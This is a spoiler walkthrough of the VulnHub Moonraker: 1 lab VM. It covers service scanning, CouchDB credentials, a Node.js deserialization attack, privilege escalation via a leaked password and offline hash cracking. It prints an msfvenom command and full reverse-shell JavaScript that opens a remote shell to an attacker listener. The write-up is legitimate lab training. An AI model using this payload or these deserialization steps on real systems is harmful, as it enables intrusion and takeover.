This post documents the complete walkthrough of Moonraker: 1, a boot2root VM created by creosote, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


You’ve received intelligence of a new Villain investing heavily into Space and Laser Technologies. Although the Villain is unknown, we know the motives are ominous and apocalyptic.

Hack into the Moonraker system and discover who’s behind these menacing plans once and for all. Find and destroy the Villain before it’s too late!

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
22/tcp    open  ssh      syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey:
|   2048 5f:bf:c0:33:51:4f:4a:a7:4a:7e:15:80:aa:d7:2a:0b (RSA)
|   256 53:59:87:1e:a4:46:bd:a7:fd:9a:5f:f9:b7:40:9d:2f (ECDSA)
|_  256 0d:88:d9:fa:af:08:ce:2b:13:66:a7:70:ec:49:02:10 (ED25519)
80/tcp    open  http     syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
| http-robots.txt: 1 disallowed entry
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: MOONRAKER
3000/tcp  open  http     syn-ack ttl 64 Node.js Express framework
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=401
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
4369/tcp  open  epmd     syn-ack ttl 64 Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    couchdb: 35299
5984/tcp  open  couchdb? syn-ack ttl 64
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Object Not Found
|     Cache-Control: must-revalidate
|     Connection: close
|     Content-Length: 58
|     Content-Type: application/json
|     Date: Fri, 12 Oct 2018 16:31:25 GMT
|     Server: CouchDB/2.2.0 (Erlang OTP/19)
|     X-Couch-Request-ID: b12af100b9
|     X-CouchDB-Body-Time: 0
|     {"error":"not_found","reason":"Database does not exist."}
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: must-revalidate
|     Connection: close
|     Content-Length: 164
|     Content-Type: application/json
|     Date: Fri, 12 Oct 2018 16:30:32 GMT
|     Server: CouchDB/2.2.0 (Erlang OTP/19)
|     X-Couch-Request-ID: b135ff0e9d
|     X-CouchDB-Body-Time: 0
|     {"couchdb":"Welcome","version":"2.2.0","git_sha":"2a16ec4","features":["pluggable-storage-engines","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
|   HTTPOptions:
|     HTTP/1.0 500 Internal Server Error
|     Cache-Control: must-revalidate
|     Connection: close
|     Content-Length: 61
|     Content-Type: application/json
|     Date: Fri, 12 Oct 2018 16:30:32 GMT
|     Server: CouchDB/2.2.0 (Erlang OTP/19)
|     X-Couch-Request-ID: be32ef8e00
|     X-Couch-Stack-Hash: 1828508689
|     X-CouchDB-Body-Time: 0
|_    {"error":"unknown_error","reason":"badarg","ref":1828508689}

nmap finds the following open ports: 22/tcp, 80/tcp, 3000/tcp, 4369/tcp, and 5984/tcp. In any case, let’s go with the web.

Directory/File Enumeration

I always like to go with gobuster and the biggest wordlist from DirBuster to fuzz for directories.

# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -e -u http://moonraker/

Gobuster v2.0.0              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   : http://moonraker/
[+] Threads      : 20
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
2018/10/12 08:39:03 Starting gobuster
http://moonraker/services (Status: 301)
http://moonraker/cats (Status: 301)
http://moonraker/accounting (Status: 301)
http://moonraker/server-status (Status: 403)
http://moonraker/x-files (Status: 301)
2018/10/12 08:40:31 Finished

I spend the next couple of hours fuzzing recursively to no avail. This is crazy. I have to stop. The next thing I look at is the actual site and at last spotted what looks like an attack surface at /svc-inq/sales.html.


Notice the message? Someone will contact me in 5 minutes? Straight away, I start Apache Web Server and tail off the access log.

I then supply the following data to the inquiry form.


The data got written to somewhere but where?


A couple of minutes later, I got a request from the sales representative. - - [13/Oct/2018:04:40:21 +0000] "GET /hello.txt HTTP/1.1" 200 288 "" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"

The “Referer” request header exposes a new page!


Admin Interface

The new page exposes the Sales Admin Interface. This is how it looks like.


CouchDB / Project Fauxton

Good thing I’m familiar with the RESTful nature of CouchDB and Project Fauxton.


I log in to Fauxton with Jaw’s credential (jaws:dollyx99).


The links database exposes more links!




Node.js Deserialization

Another important hint lies in Hugo’s page moved to port 3k.


The username and password are in the HR offer letters to Hugo. :laughing:



Upon logging in, the server send me a “Set-Cookie” header.


Good thing I’m familiar with Node.js deserialization exploit. You can read about it here.

Low-Privilege Shell

There’s a slight difference though—I’m using the reverse shell generated by msfvenom instead.

# msfvenom -p nodejs/shell_reverse_tcp LHOST= LPORT=1234

Incorporate the output from msfvenom into rce.js. Remember to remove the enclosing round brackets.

var rev = {
rce: function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1234, "", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }

var serialize = require('node-serialize');

Run node rce.js to get the serialized string output.


Next, add the IIFE bracket () at the end of the serialized string output from the previous step before passing it to base64 for encoding.


Set the entire base64 string as the value in the profile cookie and refresh the page in your browser. But before you do that, you want to set up your nc listener.


As expected, the nc listener caught the reverse shell.

Privilege Escalation

During enumeration of jaws’s account, I notice that Postfix is listening locally at 25/tcp.


Pivoting on that, I notice four mailboxes in /var/mail but I lack the permissions to read them.


I guess the challenge now is to try harder to find the login password of one of the accounts shown above.

As I was looking for world-writeable files, I came across CouchDB’s configuration at /opt/couchdb/etc/local.ini. Guess what’s in there?


Armed with hugo’s password, I log in to his account and read his mails.


We have an interesting email.


What do we have here? Half of the new root’s password and the old password hash.

Let’s copy the old password hash and send it to John the Ripper for offline cracking!


The new password must be “cyberVR00M”.


Was Dolly Wearing Braces?




If you find the dates in this write-up are off, that’s because I wrote this a month ago. I was testing for creosote :smile:

Mandela Effect?